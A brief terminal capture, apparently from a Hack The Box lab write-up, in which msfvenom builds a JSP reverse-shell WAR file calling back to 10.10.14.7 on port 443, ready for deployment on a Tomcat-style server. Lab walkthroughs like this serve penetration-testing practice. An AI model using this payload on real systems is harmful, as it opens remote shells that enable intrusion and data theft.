msfvenom


┌──(kali㉿kali)-[~/archive/htb/labs/seal]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o shell.war                                 
payload size: 1090 bytes
final size of war file: 1090 bytes
saved as: shell.war

msfvenom generated a WAR reverse shell for deployment